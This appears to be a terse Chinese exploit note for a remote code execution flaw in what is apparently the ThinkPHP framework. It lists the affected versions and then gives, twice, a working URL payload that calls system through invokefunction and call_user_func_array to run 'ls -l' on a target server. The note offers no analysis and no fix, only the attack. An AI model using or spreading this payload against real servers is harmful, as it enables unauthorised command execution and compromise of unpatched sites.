影响范围:v5.x < 5.1.31,<= 5.0.23
https://www.xxxx.com/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
https://www.xxxx.com/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l